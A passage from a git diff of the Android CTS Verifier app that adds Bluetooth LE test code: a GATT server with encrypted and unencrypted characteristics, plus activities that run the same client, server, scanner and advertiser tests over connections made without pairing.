+    private void notifyCharacteristicWriteRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicWriteRequest");
+        }
+        Intent intent = new Intent(INTENT_WAIT_WRITE_ENCRYPTED_CHARACTERISTIC);
+        sendBroadcast(intent);
+        resetValues();
+    }
+
+    private void notifyCharacteristicReadRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyCharacteristicReadRequest");
+        }
+        Intent intent = new Intent(INTENT_WAIT_READ_ENCRYPTED_CHARACTERISTIC);
+        sendBroadcast(intent);
+        resetValues();
+    }
+
+    private void notifyDescriptorWriteRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorWriteRequest");
+        }
+        Intent intent = new Intent(INTENT_WAIT_WRITE_ENCRYPTED_DESCRIPTOR);
+        sendBroadcast(intent);
+        resetValues();
+    }
+
+    private void notifyDescriptorReadRequest() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDescriptorReadRequest");
+        }
+        Intent intent = new Intent(INTENT_WAIT_READ_ENCRYPTED_DESCRIPTOR);
+        sendBroadcast(intent);
+        resetValues();
+    }
+
+    private BluetoothGattService createService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+        // add characteristic to service
+        //   property: 0x0A (read, write)
+        //   permission: 0x11 (read, write)
+        BluetoothGattCharacteristic characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        characteristic.addDescriptor(descriptor);
+
+        // Encrypted Descriptor
+        descriptor = new BluetoothGattDescriptor(DESCRIPTOR_ENCRYPTED_READ_UUID, 0x02);
+        characteristic.addDescriptor(descriptor);
+        descriptor = new BluetoothGattDescriptor(DESCRIPTOR_ENCRYPTED_WRITE_UUID, 0x20);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+
+        // Encrypted Characteristic
+        characteristic = new BluetoothGattCharacteristic(CHARACTERISTIC_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+        descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+        characteristic = new BluetoothGattCharacteristic(CHARACTERISTIC_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+        descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        characteristic.addDescriptor(descriptor);
+        service.addCharacteristic(characteristic);
+
+        return service;
+    }
+
+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mDevice = device;
+                    notifyConnected();
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    notifyDisconnected();
+                    mDevice = null;
+                    mTarget = null;
+                }
+            }
+        }
+
+        @Override
+        public void onServiceAdded(int status, BluetoothGattService service) {
+            if (DEBUG) {
+                Log.d(TAG, "onServiceAdded()");
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                notifyServiceAdded();
+            }
+        }
+
+        String mPriority = null;
+
+        @Override
+        public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,
+                                                 BluetoothGattCharacteristic characteristic,
+                                                 boolean preparedWrite, boolean responseNeeded,
+                                                 int offset, byte[] value) {
+            int status = BluetoothGatt.GATT_SUCCESS;
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);
+            }
+            if (characteristic.getUuid().equals(CHARACTERISTIC_ENCRYPTED_WRITE_UUID)) {
+                if (mSecure) {
+                    characteristic.setValue(value);
+                    if (Arrays.equals(BleEncryptedClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                        notifyCharacteristicWriteRequest();
+                    } else {
+                        status = BluetoothGatt.GATT_FAILURE;
+                    }
+                } else {
+                    // will not occur
+                    status = BluetoothGatt.GATT_FAILURE;
+                }
+            } else if (characteristic.getUuid().equals(CHARACTERISTIC_UUID)) {
+                mTarget = new String(value);
+                characteristic.setValue(value);
+            }
+
+            if (responseNeeded) {
+                mGattServer.sendResponse(device, requestId, status, offset, value);
+            }
+        }
+
+        @Override
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+            int status = BluetoothGatt.GATT_SUCCESS;
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicReadRequest()");
+            }
+            if (characteristic.getUuid().equals(CHARACTERISTIC_ENCRYPTED_READ_UUID)) {
+                if (mSecure) {
+                    notifyCharacteristicReadRequest();
+                }
+            }
+            mGattServer.sendResponse(device, requestId, status, offset, characteristic.getValue());
+        }
+
+        @Override
+        public void onDescriptorReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattDescriptor descriptor) {
+            int status = BluetoothGatt.GATT_SUCCESS;
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorReadRequest():");
+            }
+
+            if (descriptor.getUuid().equals(DESCRIPTOR_ENCRYPTED_READ_UUID)) {
+                if (mSecure) {
+                    notifyDescriptorReadRequest();
+                }
+            }
+            Log.d(TAG, "  status = " + status);
+            mGattServer.sendResponse(device, requestId, status, offset, descriptor.getValue());
+        }
+
+        @Override
+        public void onDescriptorWriteRequest(BluetoothDevice device, int requestId, BluetoothGattDescriptor descriptor, boolean preparedWrite, boolean responseNeeded, int offset, byte[] value) {
+            int status = BluetoothGatt.GATT_SUCCESS;
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+            }
+
+            if (descriptor.getUuid().equals(DESCRIPTOR_ENCRYPTED_WRITE_UUID)) {
+                if (mSecure) {
+                    descriptor.setValue(value);
+                    if (Arrays.equals(BleEncryptedClientService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                        notifyDescriptorWriteRequest();
+                    } else {
+                        status = BluetoothGatt.GATT_FAILURE;
+                    }
+                } else {
+                    // will not occur
+                    status = BluetoothGatt.GATT_FAILURE;
+                }
+            }
+
+            if (responseNeeded) {
+                mGattServer.sendResponse(device, requestId, status, offset, value);
+            }
+        }
+    };
+
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
+        @Override
+        public void onStartFailure(int errorCode) {
+            super.onStartFailure(errorCode);
+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+                notifyAdvertiseUnsupported();
+            } else {
+                notifyOpenFail();
+            }
+        }
+    };
+
+    private void startAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "startAdvertise");
+        }
+        AdvertiseData data = new AdvertiseData.Builder()
+                .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+                .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+                .build();
+        AdvertiseSettings setting = new AdvertiseSettings.Builder()
+                .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+                .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+                .setConnectable(true)
+                .build();
+        mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
+    }
+
+    private void stopAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "stopAdvertise");
+        }
+        if (mAdvertiser != null) {
+            mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java
new file mode 100644
index 0000000..03256fb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientStartActivity.java
@@ -0,0 +1,39 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+

+public class BleInsecureClientStartActivity extends BleClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        mIntent = new Intent(this, BleClientService.class);

+        mIntent.setAction(BleClientService.BLE_CLIENT_ACTION_CLIENT_CONNECT);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientTestListActivity.java
new file mode 100644
index 0000000..f058602
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureClientTestListActivity.java
@@ -0,0 +1,50 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleInsecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_insecure_client_test_list_name,

+                R.string.ble_insecure_client_test_list_info,

+                -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        if (adapter == null || !adapter.isOffloadedFilteringSupported()) {

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");

+        }

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityClientTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityClientTestActivity.java
new file mode 100644
index 0000000..cbb9af5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityClientTestActivity.java
@@ -0,0 +1,37 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+

+public class BleInsecureConnectionPriorityClientTestActivity extends BleConnectionPriorityClientBaseActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        Intent intent = new Intent(BleInsecureConnectionPriorityClientTestActivity.this,

+                BleConnectionPriorityClientService.class);

+        startService(intent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(new Intent(this, BleConnectionPriorityClientService.class));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityServerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityServerTestActivity.java
new file mode 100644
index 0000000..e95fda5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureConnectionPriorityServerTestActivity.java
@@ -0,0 +1,27 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleInsecureConnectionPriorityServerTestActivity extends BleConnectionPriorityServerBaseActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedClientTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedClientTestActivity.java
new file mode 100644
index 0000000..f6f467d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedClientTestActivity.java
@@ -0,0 +1,38 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+

+public class BleInsecureEncryptedClientTestActivity extends BleEncryptedClientBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        mIntent =  new Intent(this, BleEncryptedClientService.class);

+        mIntent.setAction(BleEncryptedClientService.ACTION_CONNECT_WITHOUT_SECURE);

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedServerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedServerTestActivity.java
new file mode 100644
index 0000000..64bb71c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureEncryptedServerTestActivity.java
@@ -0,0 +1,127 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.AlertDialog;

+import android.app.Dialog;

+import android.content.BroadcastReceiver;

+import android.content.Context;

+import android.content.DialogInterface;

+import android.content.Intent;

+import android.content.IntentFilter;

+import android.os.Bundle;

+import android.widget.Toast;

+

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+public class BleInsecureEncryptedServerTestActivity extends PassFailButtons.Activity {

+    private Intent mIntent;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+

+        setContentView(R.layout.ble_insecure_encrypted_server_test);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_encrypted_server_name,

+                R.string.ble_encrypted_server_info, -1);

+

+        getPassButton().setEnabled(true);

+

+        mIntent =  new Intent(this, BleEncryptedServerService.class);

+        mIntent.setAction(BleEncryptedServerService.ACTION_CONNECT_WITHOUT_SECURE);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onResume() {

+        super.onResume();

+

+        IntentFilter filter = new IntentFilter();

+        filter.addAction(BleEncryptedServerService.INTENT_BLUETOOTH_DISABLED);

+        filter.addAction(BleServerService.BLE_OPEN_FAIL);

+        filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

+        registerReceiver(mBroadcast, filter);

+    }

+

+    @Override

+    public void onPause() {

+        super.onPause();

+        unregisterReceiver(mBroadcast);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+

+    private void showErrorDialog(int titleId, int messageId, boolean finish) {

+        AlertDialog.Builder builder = new AlertDialog.Builder(this)

+                .setTitle(titleId)

+                .setMessage(messageId);

+        if (finish) {

+            builder.setOnCancelListener(new Dialog.OnCancelListener() {

+                @Override

+                public void onCancel(DialogInterface dialog) {

+                    finish();

+                }

+            });

+        }

+        builder.create().show();

+    }

+

+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            String action = intent.getAction();

+            switch (action) {

+            case BleEncryptedServerService.INTENT_BLUETOOTH_DISABLED:

+                // show message to turn on Bluetooth

+                new AlertDialog.Builder(context)

+                        .setTitle(R.string.ble_bluetooth_disable_title)

+                        .setMessage(R.string.ble_bluetooth_disable_message)

+                        .setOnCancelListener(new Dialog.OnCancelListener() {

+                            @Override

+                            public void onCancel(DialogInterface dialog) {

+                                finish();

+                            }

+                        })

+                        .create().show();

+                break;

+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

+                showErrorDialog(R.string.bt_advertise_unsupported_title,

+                        R.string.bt_advertise_unsupported_message,

+                        true);

+                break;

+            case BleServerService.BLE_OPEN_FAIL:

+                setTestResultAndFinish(false);

+                runOnUiThread(new Runnable() {

+                    @Override

+                    public void run() {

+                        Toast.makeText(BleInsecureEncryptedServerTestActivity.this,

+                                R.string.bt_open_failed_message,

+                                Toast.LENGTH_SHORT).show();

+                    }

+                });

+                break;

+            }

+        }

+    };

+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserPowerLevelActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserPowerLevelActivity.java
new file mode 100644
index 0000000..1191bba
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserPowerLevelActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleInsecureServerAdvertiserPowerLevelActivity extends BleAdvertiserPowerLevelActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserTestActivity.java
new file mode 100644
index 0000000..2005ef2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerAdvertiserTestActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleInsecureServerAdvertiserTestActivity extends BleAdvertiserTestActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerPowerLevelActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerPowerLevelActivity.java
new file mode 100644
index 0000000..e3f3f86
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerPowerLevelActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleInsecureServerScannerPowerLevelActivity extends BleScannerPowerLevelActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerTestActivity.java
new file mode 100644
index 0000000..e1376f4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerScannerTestActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleInsecureServerScannerTestActivity extends BleScannerTestActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerStartActivity.java
new file mode 100644
index 0000000..63d1bb5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleInsecureServerStartActivity extends BleServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleServerService.class);
+        mIntent.setAction(BleServerService.BLE_ACTION_SERVER_NON_SECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerTestListActivity.java
new file mode 100644
index 0000000..533e756
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleInsecureServerTestListActivity.java
@@ -0,0 +1,48 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleInsecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_insecure_server_test_list_name, R.string.ble_insecure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        if (adapter == null || !adapter.isOffloadedFilteringSupported()) {

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");

+        }

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerPowerLevelActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerPowerLevelActivity.java
index c0097ce..ce68dbd 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerPowerLevelActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerPowerLevelActivity.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.graphics.Color;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerService.java
index eb71164..2bcd86a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerService.java
@@ -23,9 +23,9 @@
 import android.bluetooth.le.BluetoothLeScanner;
 import android.bluetooth.le.ScanCallback;
 import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanSettings;
 import android.bluetooth.le.ScanRecord;
 import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Handler;
@@ -34,11 +34,9 @@
 import android.util.Log;
 import android.widget.Toast;
 
-import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
-import java.util.UUID;
 
 public class BleScannerService extends Service {
 
@@ -144,7 +142,9 @@
     @Override
     public void onDestroy() {
         super.onDestroy();
-        mScanner.stopScan(mCallback);
+        if (mScanner != null) {
+            mScanner.stopScan(mCallback);
+        }
     }
 
     private void showMessage(final String msg) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerTestActivity.java
index 52933e0..20cea88 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleScannerTestActivity.java
@@ -16,13 +16,16 @@
 
 package com.android.cts.verifier.bluetooth;
 
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.bluetooth.BluetoothAdapter;
+import android.content.DialogInterface;
+import android.os.Bundle;
+
 import com.android.cts.verifier.ManifestTestListAdapter;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import android.bluetooth.BluetoothAdapter;
-import android.os.Bundle;
-
 import java.util.ArrayList;
 import java.util.List;
 
@@ -44,5 +47,18 @@
 
         setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
                 disabledTest.toArray(new String[disabledTest.size()])));
+
+        if (!adapter.isEnabled()) {
+            new AlertDialog.Builder(this)
+                    .setTitle(R.string.ble_bluetooth_disable_title)
+                    .setMessage(R.string.ble_bluetooth_disable_message)
+                    .setOnCancelListener(new Dialog.OnCancelListener() {
+                        @Override
+                        public void onCancel(DialogInterface dialog) {
+                            finish();
+                        }
+                    })
+                    .create().show();
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientStartActivity.java
new file mode 100644
index 0000000..72d6e56
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientStartActivity.java
@@ -0,0 +1,50 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

